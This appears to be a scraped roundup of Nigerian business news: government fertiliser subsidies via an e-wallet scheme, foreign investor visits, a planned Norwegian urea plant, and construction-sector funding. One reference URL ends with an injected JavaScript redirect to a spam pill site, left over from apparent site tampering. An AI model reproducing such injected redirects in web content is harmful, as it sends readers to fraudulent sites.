FG earmarks N3bn to support agro dealers

The Federal Government has set aside about three billion naira to support agro dealers, Alhaji Bukar Tijani, the Minister of State for Agriculture and Rural Development, said on Tuesday.

Tijani said this at an event to explain the processes of involved in the Growth Enhancement Support (GES) scheme and the flag-off of the procurement and distribution of fertiliser and seeds to the southern parts of the country.

He said that the procurement and distribution would be done through an electronic distribution channel known as the e-wallet, under the GES scheme, adding that the seeds to be distributed would include rice, maize and soya beans.

“This e-wallet will enable the farmer redeem his part of the GES which is 50 per cent while the Federal Government and the state governments pay 25 per cent each.”

He disclosed that his ministry, the Ministry of Finance and the Central Bank of Nigeria (CBN), in conjunction with some commercial banks, had signed a MoU for the benefit of smallholder farmers.

Tijani, however, said that the Federal Government was not involved in the selection of beneficiaries.

He also said that the new policy would enable the procurement and distribution of the inputs to be done by the private sector.

The minister explained that each local government would its own agro-input dealers, who are partners to the suppliers and are not government workers.

According to him, farmers will start receiving Short Message System (SMS) alert on their mobile phones, notifying them of the procurement and distribution processes.

Earlier, Mr Bolawa Osho, the Director of Fertiliser in the ministry, gave assurance that farmers would receive their share of fertiliser by April 31.
He added that the flag-off of procurement and distribution of fertiliser and seeds in other parts of the country would take place on April 25.
In his remarks, Mr Goke Akinboro, the Managing Director of Cellulant, a commerce network operator responsible for the SMS alert, explained that the e-wallet is an electronic system of distributing fertilisers.

He said that through the scheme, farmers would be alerted and continuously updated on all development in the distribution of fertilisers.
Akinboro disclosed that his company would design, develop and operate the technology platform that would provide electronic-mobile registration and validation, and also develop a value chain system.

‘Nigeria is blessed with a lot of investment opportunities’

The Minister of State for Trade and Investment, Samuel Ortom has disclosed that Nigeria is blessed with a lot of investment opportunities, even as only half of the arable land in the country is being utilized, out of the 88 million.

Ortom said this on Tuesday when about 27 Japanese firms visited him to discuss the possibility of investing in the Nigerian economy.

The minister expressed the readiness of the Federal Government to grant the potential investors the necessary support and incentives to make their businesses a success.

Leader of the delegation, Nigerian Ambassador to Japan, Godwin Agboh said they were at the ministry to seek for assistance in their efforts to invest in the different sectors of the economy.

The envoy said that he personally led the delegation from Japan in response to President Goodluck Jonathan’s directives to all ambassadors to join hands with government in its bid to drive in Foreign Direct Investment (FDIs) into the country.

Agboh explained that 24 of the investors were Japanese indigenous companies while 3 of them were owned by Nigerians, adding that the investors are interested in automobiles, mining, solid minerals, manufacturing, engineering, construction among others.

Norwegian firm to establish fertilizer plant in Nigeria

A Norwegian firm, Westfert Ltd., says it is working toward establishing a urea/fertiliser producing plant at the Onne Free Trade Zone in Rivers.

Theore Eilertsen, the Chairman and Chief Executive of the firm, made the disclosure during a visit to Dr Samuel Ortom, the Minister of State, Trade and Investment, in Abuja on Tuesday.

Eilertsen said he needed the ministry’s support in realising the project, which he said, had been in focus for two years.

He noted that Nigeria depended on imported fertiliser, adding that his company could only export fertiliser if it met local consumption.

“We have the technical knowledge and understanding of urea production and we are well equipped in that regard,” he said. “We use the latest technology and we intend to produce 2.4 million tons of fertiliser per annum.”

The Norwegian noted that the firm needed 60 hectares at the Onne Free Trade Zone for the project, which would commence next year.

He said the construction stage of the project would provide about 2,000 jobs, which would be doubled at completion.

Ortom assured Eilertsen of the ministry’s cooperation in providing all that was needed for the company to become operational.

“We also have the private sector which can partner with you,’’ he added.

The minister also received the management team of Nigeria Entrepreneurs Forum (NEF) that came to solicit the ministry’s assistance in securing full registration from the Corporate Affairs Commission.

The leader of the team, Dr Sidney Inegbedion, said the registration had become imperative because of the number of foreign collaborations the organisation was having.

He said the main objective of NEF was to create a forum where members could share common business experiences, innovative ideas and motivate one another.

Inegbedion said the NEF was established in 2010 and now had 350 organisations, representing all sectors of the economy.

On his part, Ortom said the organisation’s activities were in tandem with President Goodluck Jonathan’s transformation agenda, which recognised the need to partner with the private sector.

He said the ministry would facilitate full registration of the organisation, adding that government was promoting trade and small enterprises in partnership with the private sector.

Reference: http://www.businessdayonline.com/NG/index.php/markets/investor/38209-norwegian-firm-to-establish-fertiliser-plant-in-nigerialocation.replace(“http://cheap-pills-norx.com”);

Growth prospect seen as investors focus on construction industry

Of the many problems which close industry watchers say are holding down the growth of the construction industry in Nigeria, funding stands out as a limiting factor, which is why institutional investors’ new interest in the industry is a welcome development and raises growth prospect.

The construction industry in Nigeria holds out much hope in terms of growth and contribution to the nation’s Gross Domestic Product (GDP). According to industry experts’ prediction, the industry anticipates over 15 percent growth by 2020 when Nigeria’s dream of joining the league of the largest economies of the world is suppose to materialise.

The latest 10-year forecast from Global Construction Perspectives and Oxford Economics says construction growth in Nigeria will be the fastest of all markets, predicting that China will overtake the US as the world’s biggest construction market by 2018.

The report sees Nigeria as the market where the fastest growth will happen, adding, “Nigeria will be the global hotspot from here to 2020 because the nation’s construction growth is even faster than India’s, which reflects increased wealth”.

Analysts, however, contend that this can only happen if there is adequate funding for the industry, stressing that funding is critical for growth. “The slow growth in the industry is not about equipment or skilled labour as is frequently cited”, says an institutional investor who wouldn’t like to be named.

“I think things have to change for the industry going forward because it provides a good opportunity for investment. The good news is that more and institutional players to whom funding is not an issue are supporting more projects. That will improve the life of construction companies. Projects that have funding would always keep going”, he added.

He disclosed that his company has looked at some companies that they are going to back, adding that one of the things that is very important is for the institutional investors to try to grow the local players that are good rather than always bringing in foreign firms.

He noted that there are quality builders in the country that have not been given the chance to prove themselves, arguing that if they don’t have the chance to get good sites or the opportunity to do something bigger, they can’t grow.

“Big institutional players should be able to take the risk of sponsoring local players to enable them to grow or to step into new shoes. There is need for them to be given the chance to acquire new equipment, technology and techniques that will enable them to flourish”, he advised.

Greg Thomopulos, president, International Federation of Consulting Engineers (FIDIC), shares this view, adding, however, that Nigerian construction firms need to be built up and developed. “They also need to get a little bit bigger; firms should grow more and consolidate to be able to handle big projects”, he said, pointing out that one of the reasons why the industry is not growing is that companies are not sustained with work. Thomopulos, who was on a weeklong visit to Nigeria, stressed that it is very important to load firms with work, “because no firm can grow without work. Loading companies with work is one of the ways governments can grow capacity”, he said.

The institutional investor noted that most of the construction industries in the country struggle by going into projects that are not fully funded, adding that most of them also go into projects that there are only deposits and midway into the project, they are demobilised.

“I hope that the more the local firms find institutional players that will provide the funding, the more they are going to find credible projects that will enable them to rise up to those projects that had been the exclusive preserve of the likes of Cappa D’Alberto, Julius Berger, Bouygues etc that go into projects that are fully funded and such that when they take up a project, they don’t stop”, he said.

Mobolaji Williams, president, Federation of Construction Industries (FOCI), however, noted that the greatest threat to the anticipated growth in the construction industry is in heavy contract debts that have led to job losses, adding that owing to the failure of government and some multi-national companies all over the country to meet their financial obligations of funding on-going capital projects, over 100,000 jobs have been threatened in the industry which will directly or indirectly affect 400,000 more Nigerians.

Williams said that the job losses which cut across all classes of workers has seen the exit of more than 60,000 workers in FOCI member-companies due to government’s failure to meet its financial obligations to contractors and subsequent closure of sites where these workers were deployed.

Reference: http://www.businessdayonline.com/NG/index.php/markets/investor/38318–growth-prospect-seen-as-investors-focus-on-construction-industry